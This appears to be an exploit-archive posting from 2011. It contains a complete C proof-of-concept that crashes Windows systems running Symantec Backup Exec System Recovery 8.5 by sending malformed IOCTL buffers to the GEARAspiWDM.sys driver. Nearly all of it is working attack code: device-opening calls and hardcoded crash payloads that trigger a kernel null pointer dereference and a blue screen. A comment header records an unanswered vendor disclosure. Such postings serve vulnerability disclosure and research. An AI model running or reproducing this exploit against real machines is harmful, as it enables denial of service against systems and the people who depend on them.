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Symantec Backup Exec System Recovery 8.5 Crash

Symantec Backup Exec System Recovery 8.5 Crash
Posted May 12, 2011
Authored by Stefan Le Berre, Heurs

Symantec Backup Exec System Recovery version 8.5 kernel null pointer dereference crash proof of concept exploit.

tags | exploit, kernel, proof of concept
SHA-256 | 8fe48217791153d1a31a66ed324498f54f2c7b00786b5719834eaa8b294e7936

Symantec Backup Exec System Recovery 8.5 Crash

Change Mirror Download
#include <stdio.h>
#include <windows.h>
#include <winioctl.h>
#include <stdlib.h>
#include <string.h>

/*
Program : Symantec Backup Exec System Recovery 8.5 - 0day
Homepage : http://www.symantec.com
Discovery : 2009/12/23
Author Contacted : 2011/04/01 - No reply
Author Contacted : 2011/04/29 - No reply... again !
Patch Updated : Not now
Found by : Heurs
This Advisory : Heurs
Contact : s.leberre@sysdream.com


//----- Application description


Symantec Backup Exec System Recovery 8.5 is a complete disk-based system
recovery solution for Microsoft Windows based servers, desktops, and laptops
that allow businesses to recover from system loss or disasters in minutes, not
hours or days - even when recovering to a dissimilar hardware platform; to a
virtual environment; or to a remote, unattended location. In short, this
powerful solution gives an administrator unprecedented power in meeting
ambitious recovery time objectives and service-level agreements.

//----- Description of vulnerability

GEARAspiWDM.sys (the CD / DVD filter) driver don't check all inputs of an IOCTL.
An exception can be thrown if we modify one byte.
With my test I can't do best exploitation than a BSOD.

//----- Credits

http://www.sysdream.com
http://www.hackinparis.com/
http://ghostsinthestack.org

s.leberre at sysdream dot com
heurs at ghostsinthestack dot org

*/

int __cdecl main(int argc, char* argv[])
{
HANDLE hDevice = (HANDLE) 0xffffffff;
DWORD NombreByte;
DWORD Crashing2[] = {
0x98521a4e, 0x35c9b325, 0x329aded9, 0x2b89a43f,
0x9e338a58, 0x54372b5f, 0x1c6164bb, 0x439b3b32,
0x7ffa3ca5, 0x90ee3512, 0xb3be1b06, 0x9363dad1,
0x1f91adea, 0xcc611f7e, 0xdf527cc9, 0xb0856250,
0x4a0d92ff, 0x7b57a9fd, 0xe438ef46, 0x013ac977,
0xb6ce60fc, 0x6042a1f8, 0xe4da87f0, 0x118e4887,
0x47ea6b36, 0xfb83daa8, 0xd50ff81b, 0xfd3c97c9,
0xd743656a, 0x8b7318b7, 0x955d2607, 0x0cb6d64f,
0x3acc85fb, 0xca8f44d3, 0x2859a3de, 0x80fdabb1,
0x63b5fc1d, 0x9b2b73d7, 0x16038535, 0xb8072dca,
0xda4edb5a, 0xe7e89f58, 0xd2b0d395, 0x64b404a4,
0x422f6292, 0xafb88db2, 0xefee2383, 0x2034e944,
0x9c7f782e, 0x40d0b37e, 0x95c621e1, 0xc67d9c45,
0xf4bfc4d8, 0xa6b50be6, 0xaf327fcf, 0x8ea76c13,
0x85bf39d2, 0x3224f445, 0xf13ffd4d, 0x8a0ed02e,
0x11768b7f, 0x05da276b, 0xc264c7de, 0x70038327,
0x9f965ab9, 0x7bd47648, 0xfbe34062, 0x94e5540f,
0xe41cc6c2, 0x5b4a2559, 0x429e5122, 0x83c913e4,
0xca98e661, 0xbd3ad1fe, 0x972a24c2, 0xb77b0b77,
0x48e31285, 0x77dd9743, 0x42374f25, 0xdf841c34,
0x5aa3d162, 0x4f8cf953, 0xbc2ada9d, 0xa4cad244,
0x9080a47f, 0x27af163a, 0xf8e5b0e1, 0x80248421,
0x963b4b99, 0x2ca00d49, 0x81b3ef37, 0xc2466b09,
0x46ccb43a, 0xff10f2f9, 0xac712349, 0x5ad59d96,
0xd978b259, 0xcbcfeca1, 0x98273614, 0x332f6c59,
0xa486d4ee, 0x7fad0d57, 0xf65601c1, 0xeb1e6321,
0x50408419, 0x5190a0e8, 0xb3cc3374, 0xeabd4a3d,
0xd236b852, 0x92cba4db, 0x4e52f33a, 0xa9f488cb,
0x067d88e4, 0xd31d588d, 0x47aa2c28, 0xf0918cb3,
0x46c518af, 0x430a2c52, 0xc49fc7ca, 0x49e7d5f0,
0x6cd26dbc, 0xd83fde69, 0x926c03ba, 0xb4850695,
0x9235d279, 0xaa1ffa33, 0x996f4d09, 0xbfed8fa0,
0x30cff2cc, 0x1f21d5c3, 0x38c3f62b, 0x8291db1e,
0xb536c7e0, 0x3c705ff0, 0x23f180a2, 0xdbb6059e,
0x4dd9351a, 0x231487bc, 0x915fe713, 0x87616e77,
0xdbcb473e, 0x1a830215, 0x8cbba20a, 0x902a03d8,
0xfcf9b1eb, 0xca69f2be, 0x44a96ca3, 0xa7d7aaab,
0x8949408f, 0xc9d0d1e2, 0x2775a41c, 0x71f381ff,
0xba970686, 0x222a18f5, 0xfab74884, 0xb53efcb4,
0xfbb46a7a, 0x1de45c9f, 0xbb5838ad, 0x274cfd1b,
0xa841ffcb, 0x02f17a83, 0x18fe4da2, 0xa4a1b953,
0x788a1f92, 0x8a0c5b81, 0x54b69f16, 0x570abe6b,
0x7e58db8e, 0x1d6d7245, 0x0f6f7b5e, 0x7121c421,
0xefa6a254, 0xb1fd7db2, 0xc9bc5216, 0x2ae57c8d,
0xa9ccba01, 0x1e375901, 0x0fe3e83b, 0x729f90db,
0x4e054937, 0x9861523c, 0x644cc902, 0xf23b2474,
0x599a913f, 0x32ccfcd9, 0x7f3ca050, 0x3de365f6,
0x55ca0856, 0x72113509, 0x188f3b56, 0x4fa1b960,
0x403d751a, 0xfeb043d7, 0x5b451a9d, 0x52cdfdf4,
0x7c84854c, 0xaea8abc2, 0x1f690135, 0x0d98ac73,
0x90d3fb36, 0x92c4c71c, 0xa329ece4, 0xffe6a577,
0x70a4829e, 0x9fd6b0b7, 0x13ec771e, 0xa8724de2,
0xa8d25ffb, 0x84b00cce, 0xa1791d95, 0xe6a5cb04,
0xd0460421, 0x0fa785ea, 0x0521dfea, 0x6b745113,
0xc3512018, 0x3613d26c, 0x5fcebf1f, 0x6dd6a8ed,
0xf29a61ce, 0x66e0c099, 0x2bff4910, 0x6e92dbdd,
0xafce203a, 0xed07a42b, 0x657cd627, 0xcc05e18f,
0x848aa8cd, 0x5db76bf0, 0x66feef0f, 0x36fefa72,
0xac75a2fa, 0x8cd0ec62, 0x2805f29c, 0x3f9af683,
0xedc84ed5, 0xcafa4942, 0x29f94618, 0x80d6f110,
0x924035d0, 0x239cfd83, 0x4251cea1, 0xf54575db,
0x3c9815b4, 0xcb86e9df, 0xe0a46e7b, 0x8feb5e66,
0x17dee85f, 0xcf9d26f4, 0x6afe496e, 0x3e8c1322,
0xe6f99038, 0xd4735c42, 0x760d0bd6, 0xb43c3c60,
0x788de1ce, 0xf52c1d56, 0xa6d31938, 0x275cb624,
0x9ae96c95, 0x194068c6, 0xe5eee0a2, 0x2ee7d840,
0xdd82ba28, 0x3435826a, 0x9a486fc3, 0x2701aa59,
0x6c362b8f, 0x4e5d96a6, 0x1bdc57f7, 0x754c2319,
0x71380617, 0x90542310, 0x65d72160, 0x3f77356e,
0x41e648e9, 0x250870ae, 0x29f398a2, 0x1b980674,
0x8d41476f, 0x9b9ec36a, 0x017d514a, 0x75badffc,
0x0ca9dccf, 0xb1fb1936, 0x6ca3bdd7, 0xc5fd39b8,
0x8d6878ba, 0x1769e6dc, 0xac396388, 0xaaa92090,
0xea758f25, 0x250ece7a, 0x84a575fb, 0x08f09242,
0xe983aa84, 0x06a02443, 0x047accd5, 0x86814c54,
0xae978f01, 0x2a8df4b7, 0x5079e1f7, 0x4599b151,
0x4b06b065, 0x0fa58f90, 0x11e0624c, 0xc3a3f881,
0xf795fe91, 0x9e9542c6, 0x37262888, 0x21dfb940,
0x695be284, 0x28d116e1, 0x7f81a807, 0x308a5e2b,
0x0312f4a5, 0xe77753d6, 0xa834b6dc, 0xc6f0f403,
0xa6a2b904, 0xeb26b1a4, 0x69849a3d, 0x8313560d,
0xe23d7a4b, 0xe96b1262, 0xe94255fb, 0x3901b1e9,
0x351d887b, 0x9e594997, 0xfe8f414c, 0x96f07011,
0xe68fc42c, 0xb38e30a2, 0x1994ef3a, 0x3efbfce9,
0x8b8f3a7f, 0xca93784e, 0x5f3181d7, 0xc84f06eb,
0x8ded82a7, 0x41300e14, 0xb478751b, 0xeeae732c,
0x392889a8, 0xb79591f1, 0xca8bb59d, 0x33d5ac3f,
0xcab7ffb1, 0x1c023d41, 0xf4d85961, 0xec42794f,
0xd3e126b0, 0x572fe83b, 0x7b3ea605, 0x4bfa2f3b,
0x595b381d, 0x0f1f55dd, 0xf07401fd, 0x322c17b4,
0x7ac23729, 0x9e747fa4, 0x648391dc, 0x684f5e6f,
0x6f672b78, 0xe57a7f45, 0x5fea1b7a, 0x562401c8,
0xa640bafe, 0x22a1ea24, 0x90a358c5, 0x2fa7712f,
0x75505628, 0xab0d1b9b, 0x7f40ccba, 0x74034eaf,
0xc7be1659, 0x35a10242, 0xcd61afed, 0x6a4f3f61,
0x6793d2e8, 0xb447eded, 0x81b09579, 0x8c57ec03,
0x7f89ca0d, 0xb75faf20, 0x6977fa05, 0x9d272f79,
0xaa90665a, 0x91fcc55b, 0xfa06b20e, 0xfcb48f7a,
0xce1760ed, 0x58dc9e13, 0x99152bc4, 0x9021e937,
0xfbc15bc5, 0xc49ab6cf, 0xfe322467, 0x1cda3004,
0x01badd03, 0x28308712, 0x05708f56, 0x612f4410,
0x3345bdfd, 0x0b3a8804, 0x36b0b314, 0xaf8b63a5,
0x90ca55ab, 0x1f946e9e, 0xecb27651, 0x7e5c8406,
0xd3f8fc3b, 0x1e30cf60, 0x3ac797fa, 0x48d3a898,
0xf4a6080d, 0x680e7e2e, 0x745388ff, 0x8027ded5,
0x461989ac, 0x5426a0a9, 0xa1ecc4a8, 0x3862c461,
0xda87b1ce, 0x9dbc1647, 0x225898f0, 0xf72d47fe,
0x0af3377d, 0xc5c569e7, 0xb8d8fb7a, 0x0c46c695,
0x508d9e3f, 0xc4a96a93, 0xef7450d3, 0x14860105,
0x9e5518bc, 0x56a024ee, 0xc1d14889, 0x9e9029ae,
0x06700d49, 0x5b4655a3, 0xe7c7e1be, 0x596c98b5,
0xf91d9006, 0x5daf3db2, 0xdbd3dea9, 0x2f1471d9,
0x5d26bd87, 0x7758e268, 0x6d6f3ab4, 0x45c55824,
0x60e4cf0e, 0x54c2b90d, 0x0317c728, 0xca7681b6,
0xb2813304, 0x14fb642e, 0x6297a465, 0x51f7b685,
0x24192969, 0x44b44d6f, 0x66cfe7ae, 0x8ff6a5a9,
0x772a7a50, 0x11d0163e, 0x598113c9, 0x3a03fef9,
0xff9c1a9b, 0xdbd7c110, 0x09b9282e, 0xb19a1723,
0x61d551ad, 0x4edd912c, 0x73cbe308, 0x2d507924,
0x8b6adc6a, 0x7249e4c5, 0xd46b6c78, 0x1a79ed3d,
0x35fc9732, 0x4f3c7746, 0x34537beb, 0xc7a4e647,
0xe524af91, 0x208894fa, 0xae2dc193, 0x7db25b89,
0x8cd21de4, 0x5cdaa83a, 0xf973bed3, 0x6ca77231,
0x6b6d299a, 0xa017dcfd, 0x53ea60d1, 0xe31720ba,
0xf406d12f, 0x8167076d, 0xb62a7ba8, 0x83a54a0d,
0x838c6ffc, 0xcd7b5253, 0x4b49b33b, 0x8ece311d,
0x5001914b, 0x1fcc872f, 0x36192027, 0x26889789,
0xb26a39d4, 0x69ce1d9e, 0x41d01758, 0x9ea92324,
0xd56131f3
};
DWORD Crashing1[] = {
0x34e4fa15, 0xd60f859b, 0x45470f01, 0x73415241,
0x66206970, 0x4e20726f, 0x45470054, 0x6f505241,
0x50207472, 0x6e00506e, 0xacea16d8, 0xef58b300,
0x36609f08, 0xf826b866, 0x06257426
};
BYTE Out[0x04];
BYTE Response[32];

printf("Kernel Pointers Dereferences - Symantec Backup Exec System Recovery 8.5 (0day)\n\n");
hDevice = CreateFile("\\\\.\\GEARAspiWDMDevice",GENERIC_READ|GENERIC_WRITE,0,NULL,OPEN_EXISTING,0,NULL);
//printf("%x\n",hDevice);
printf("Crashs possibles : \n1 : DeviceIoControl 0x00222008\n2 : DeviceIoControl 0x00222010");
printf("\nSelect the crash : ");
scanf("%c", &Response);

if (Response[0] == 0x32) {
if (DeviceIoControl(hDevice,0x00222010,Crashing2,sizeof(Crashing2),Crashing2,sizeof(Crashing2),&NombreByte,NULL) == 0) {
printf("Error : DeviceIoControl : %d\n", GetLastError());
}
}
if (Response[0] == 0x31) {
if (DeviceIoControl(hDevice,0x00222008,Crashing1,sizeof(Crashing1),Crashing1,sizeof(Crashing1),&NombreByte,NULL) == 0) {
printf("Error : DeviceIoControl : %d\n", GetLastError());
}
}

printf("Finished.\n\n");
CloseHandle(hDevice);
getch();
return 0;
}


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